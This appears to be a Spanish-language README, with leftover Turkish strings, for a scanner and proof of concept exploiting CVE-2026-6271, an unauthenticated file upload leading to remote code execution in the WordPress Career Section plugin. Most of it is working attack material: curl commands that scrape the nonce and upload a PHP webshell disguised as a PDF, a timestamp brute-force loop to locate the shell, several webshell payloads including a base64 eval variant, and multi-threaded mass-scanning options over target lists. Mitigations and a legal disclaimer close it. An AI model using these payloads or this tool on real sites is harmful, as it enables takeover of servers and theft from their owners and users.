
Escáner automatizado para CVE-2026-6271, una carga arbitraria de archivos crítica no autenticada que conduce a RCE en el plugin Career Section de WordPress. Admite escaneo de múltiples hilos, múltiples tipos de shell e integración de proxy.
Plugin: Career Section (
career-section) ID de CVE: CVE-2026-6271 Puntuación CVSS: 9.8 (Crítico) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Subida de archivos arbitraria sin autenticación → Ejecución remota de código Versión afectada: <= 1.7 Versión parcheada: 1.8 Fecha de publicación: 13 de mayo de 2026 Investigador: Paolo Tresso — Wordfence
El plugin Career Section permite a los propietarios de sitios publicar ofertas de empleo y recopilar solicitudes. Cada página de oferta de empleo incluye un formulario "Apply Now". Este formulario contiene un campo para subir un archivo CV.
En las versiones 1.7 y anteriores, el controlador de subida acepta cualquier tipo de
archivo, incluido .php. Dado que el formulario es público y el token CSRF está incrustado
en el HTML de la página, esta vulnerabilidad puede explotarse sin necesidad de ninguna
cuenta ni privilegio.
Los nonces de WordPress son tokens CSRF, no tokens de autenticación. El valor del nonce se incrusta en el HTML de la página para cada visitante:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>
Cualquier visitante no autenticado puede obtener un nonce válido y superar la comprobación de validación.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() solo limpia caracteres especiales,
no bloquea las extensiones peligrosas.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
En este directorio no existe un archivo .htaccess que impida la ejecución de PHP.
| Razón | Descripción |
|---|---|
| No requiere autenticación | Nonce incrustado en el HTML público |
| Sin restricción de tipo de archivo | Se aceptan .php, .php5, .phtml |
Sin protección .htaccess | PHP se ejecuta en el directorio de subida |
| Nombre de archivo predecible | time()_filename → fuerza bruta de timestamp |
⚠️ Descargo de responsabilidad: Esta PoC es únicamente con fines educativos. Pruebe solo en sistemas propios o sobre los que tenga permiso explícito por escrito para probar.
Requisitos previos:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Estructura a buscar en el código fuente de la página:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
El nombre del archivo tiene el formato <timestamp>_shell.php.
Prueba los timestamps alrededor de $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
Salida esperada:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| Parámetro | Abreviatura | Descripción | Por defecto |
|---|---|---|---|
--url | -u | URL de objetivo único | — |
--list | -l | Archivo con lista de objetivos | — |
--threads | -t | Número de hilos | 10 |
--output | -o | Archivo de salida | rce_confirmed.txt |
--job-url | — | URL directa de la oferta de empleo | — |
--shell-name | — | Nombre del archivo a subir | shell.php |
--shell-type | — | Tipo de shell | system |
--verify-cmd | — | Comando de verificación de RCE | id |
--ts-window | — | Ventana de fuerza bruta de timestamp (±s) | 5 |
--proxy | — | URL del proxy | — |
--timeout | — | Tiempo de espera de la petición (s) | 10 |
| Tipo | Payload | Descripción |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Comando básico del sistema |
passthru | <?php passthru($_GET["cmd"]); ?> | Salida cruda |
exec | <?php echo exec($_GET["cmd"]); ?> | Ejecución silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval mediante POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscación Base64 |
full | shell_exec + system + exec fallback | Shell de alcance completo |
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell burada
Acceso directo:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Estado | Descripción |
|---|---|
★ RCE OK | Shell subido + comando ejecutado con éxito |
★ SHELL ALIVE | Shell accesible, devolvió una respuesta diferente |
~ EXEC_DISABLED | Shell existe pero exec() deshabilitado en el servidor |
? UPLOADED | Subido pero no se encontró el timestamp |
- BLOCKED | Tipo de archivo bloqueado (versión parcheada) |
~ NO_NONCE | csaf_form_nonce no encontrado |
~ TIMEOUT | Tiempo de espera de conexión agotado |
~ UNREACH | Objetivo inalcanzable |
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (kaynak: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (dosya tipi engellendi)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce bulunamadı)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| Medida | Implementación |
|---|---|
| Actualización del plugin | Actualizar a Career Section 1.8 o superior |
| Bloqueo de ejecución de PHP | Añadir .htaccess al directorio de subida |
| Lista blanca de extensiones | Aceptar únicamente pdf, doc, docx |
| Validación MIME | Comprobar el contenido real con finfo_file() |
| Regla WAF | Bloquear las peticiones de subida .php |
.htaccess para el directorio wp-content/uploads/cs_applicant_submission_files/:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Esta herramienta y su PoC están preparadas para usarse únicamente en sistemas autorizados, con fines educativos y dentro del ámbito de las pruebas de penetración. Su uso en sistemas sin autorización constituye un delito conforme a los artículos 243-245 del Código Penal turco y a las leyes internacionales sobre delitos informáticos. El desarrollador no acepta ninguna responsabilidad legal derivada del uso indebido de esta herramienta.
MIT License — Solo con fines educativos y de investigación.